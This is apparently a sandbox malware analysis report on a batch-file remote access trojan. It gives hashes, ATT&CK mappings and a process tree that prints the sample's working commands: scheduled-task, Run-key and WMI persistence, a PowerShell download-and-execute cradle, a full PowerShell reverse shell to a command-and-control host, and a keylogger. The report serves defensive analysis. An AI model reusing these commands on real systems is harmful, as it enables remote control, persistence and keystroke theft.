cc1f0e19132d87a3b4b8eaa6dd8cc8c04b0d7e31405e2f9c60426512797bd355

Analysis

max time kernel
149s
max time network
155s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
29/05/2026, 01:47

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General

Target
rat_build_235454_014631.bat
Size 4KB
Sample260529-b7271aas4m
SHA256 cc1f0e19132d87a3b4b8eaa6dd8cc8c04b0d7e31405e2f9c60426512797bd355
MD5 eae34f776808668179a04950973ad574
SHA1 1cece302c20cf0887594cb795ac73b54b5e337cb
SHA512 8a6948c02340c2864983854cfc22a7357c2c1389b0fb7f99dadc936c35b946a67a0d99245e5c9ec04b72c6834995666cf4e524ac6004aa815f8558fe1d1145d0
SSDEEP 96:bIX1WkeG+EPX4i/HCicVp48S0kL+DIdgtzJiFgZk8mvlo15Xm:bhkezOXXkV8+8d6iFgkHlAW
TLSH
T116A1091327A67120C5B46D29E9333958976CE2F32300C9CDBA55CCC55A8CE83E62E7D7
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://payload.server/update_235454.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1356	powershell.exe
2092	powershell.exe
3544	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3053180483-1881419501-3594244048-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Updater_235454 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_235454.bat"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
3	checkip.amazonaws.com

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
1180	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
5696	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
3936	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
5752	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2092	powershell.exe
2092	powershell.exe
1356	powershell.exe
1356	powershell.exe
3544	powershell.exe
3544	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	1536	WMIC.exe
Token: SeSecurityPrivilege	1536	WMIC.exe
Token: SeTakeOwnershipPrivilege	1536	WMIC.exe
Token: SeLoadDriverPrivilege	1536	WMIC.exe
Token: SeSystemProfilePrivilege	1536	WMIC.exe
Token: SeSystemtimePrivilege	1536	WMIC.exe
Token: SeProfSingleProcessPrivilege	1536	WMIC.exe
Token: SeIncBasePriorityPrivilege	1536	WMIC.exe
Token: SeCreatePagefilePrivilege	1536	WMIC.exe
Token: SeBackupPrivilege	1536	WMIC.exe
Token: SeRestorePrivilege	1536	WMIC.exe
Token: SeShutdownPrivilege	1536	WMIC.exe
Token: SeDebugPrivilege	1536	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1536	WMIC.exe
Token: SeRemoteShutdownPrivilege	1536	WMIC.exe
Token: SeUndockPrivilege	1536	WMIC.exe
Token: SeManageVolumePrivilege	1536	WMIC.exe
Token: 33	1536	WMIC.exe
Token: 34	1536	WMIC.exe
Token: 35	1536	WMIC.exe
Token: 36	1536	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1536	WMIC.exe
Token: SeSecurityPrivilege	1536	WMIC.exe
Token: SeTakeOwnershipPrivilege	1536	WMIC.exe
Token: SeLoadDriverPrivilege	1536	WMIC.exe
Token: SeSystemProfilePrivilege	1536	WMIC.exe
Token: SeSystemtimePrivilege	1536	WMIC.exe
Token: SeProfSingleProcessPrivilege	1536	WMIC.exe
Token: SeIncBasePriorityPrivilege	1536	WMIC.exe
Token: SeCreatePagefilePrivilege	1536	WMIC.exe
Token: SeBackupPrivilege	1536	WMIC.exe
Token: SeRestorePrivilege	1536	WMIC.exe
Token: SeShutdownPrivilege	1536	WMIC.exe
Token: SeDebugPrivilege	1536	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1536	WMIC.exe
Token: SeRemoteShutdownPrivilege	1536	WMIC.exe
Token: SeUndockPrivilege	1536	WMIC.exe
Token: SeManageVolumePrivilege	1536	WMIC.exe
Token: 33	1536	WMIC.exe
Token: 34	1536	WMIC.exe
Token: 35	1536	WMIC.exe
Token: 36	1536	WMIC.exe
Token: SeIncreaseQuotaPrivilege	5924	WMIC.exe
Token: SeSecurityPrivilege	5924	WMIC.exe
Token: SeTakeOwnershipPrivilege	5924	WMIC.exe
Token: SeLoadDriverPrivilege	5924	WMIC.exe
Token: SeSystemProfilePrivilege	5924	WMIC.exe
Token: SeSystemtimePrivilege	5924	WMIC.exe
Token: SeProfSingleProcessPrivilege	5924	WMIC.exe
Token: SeIncBasePriorityPrivilege	5924	WMIC.exe
Token: SeCreatePagefilePrivilege	5924	WMIC.exe
Token: SeBackupPrivilege	5924	WMIC.exe
Token: SeRestorePrivilege	5924	WMIC.exe
Token: SeShutdownPrivilege	5924	WMIC.exe
Token: SeDebugPrivilege	5924	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5924	WMIC.exe
Token: SeRemoteShutdownPrivilege	5924	WMIC.exe
Token: SeUndockPrivilege	5924	WMIC.exe
Token: SeManageVolumePrivilege	5924	WMIC.exe
Token: 33	5924	WMIC.exe
Token: 34	5924	WMIC.exe
Token: 35	5924	WMIC.exe
Token: 36	5924	WMIC.exe
Token: SeIncreaseQuotaPrivilege	5924	WMIC.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 5076 wrote to memory of 5752	5076	cmd.exe	87
PID 5076 wrote to memory of 3936	5076	cmd.exe	88
PID 5076 wrote to memory of 1536	5076	cmd.exe	89
PID 5076 wrote to memory of 5924	5076	cmd.exe	90
PID 5076 wrote to memory of 5728	5076	cmd.exe	91
PID 5076 wrote to memory of 5696	5076	cmd.exe	93
PID 5076 wrote to memory of 1180	5076	cmd.exe	100
PID 5076 wrote to memory of 2092	5076	cmd.exe	101
PID 5076 wrote to memory of 1356	5076	cmd.exe	102
PID 5076 wrote to memory of 3544	5076	cmd.exe	103

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_235454_014631.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:5076
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WinUpdate_235454" /tr "C:\Users\Admin\AppData\Local\Temp\_235454.bat" /sc onlogon /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5752
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_235454" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_235454.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:3936
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_235454", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1536
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_235454", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_235454.bat"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:5924
- C:\Windows\system32\curl.exe
  curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_235454.txt
  2⤵
  PID:5728
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:5696
- C:\Windows\system32\NETSTAT.EXE
  netstat -an
  2⤵
  - Gathers network information
  PID:1180
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_235454.ps1'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2092
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1356
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3544

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
TLSH
T15F51EE323375B1D8C9167F071E68198053BF4355EAA4AF1CB69C625EDD2640B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 e414d05fea082cfa2b659038d94cc7df4b8855cda51933eab7018f3bb3c29420
MD5 58a8c1e5afabf8cfa46dc383676d42e9
SHA1 34eaba7981d6bc7d170e43fe9d02a3cb79d58d4b
SHA512 6a5f98c8edd068034a65a252516fb6f636d7d7ca49e691a652cb3ab837520e4cfb849be3f624d67346cdd04de43136b557e1abbefac2212ecc3475ecc8b55e27
TLSH
T1F6115727B39C8921CC96153A509D9C1172B683D7419EDE9F6FC4D214A07F984CB61194
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 9c7d4c8c4eaf892b5d145729abc250758715a6d421cfb6eb889574b2d539bcdf
MD5 41d4ca6ccc49209ee1c700ae2e48a031
SHA1 4ad9c670b1f1512ea6d39d26a338d1bc0ea2bf5b
SHA512 8375dd343cd980de0e96a82c1d48d9d7bcb0c7a1aa92965c36a5fa51e5633e90b5ae31efcd44d19db94fd8318215e1223c664875e64f4d30aae038d2205fd359
TLSH
T136115727B39C89A1CC96163A409D9C1172B683D7419EDEDF6BC0D214A17F584CB71190
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_1e5aawkd.b3b.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1e5aawkd.b3b.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/2092-3-0x000001793F110000-0x000001793F132000-memory.dmp

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memory/3544-32-0x0000025135AA0000-0x0000025135CBC000-memory.dmp

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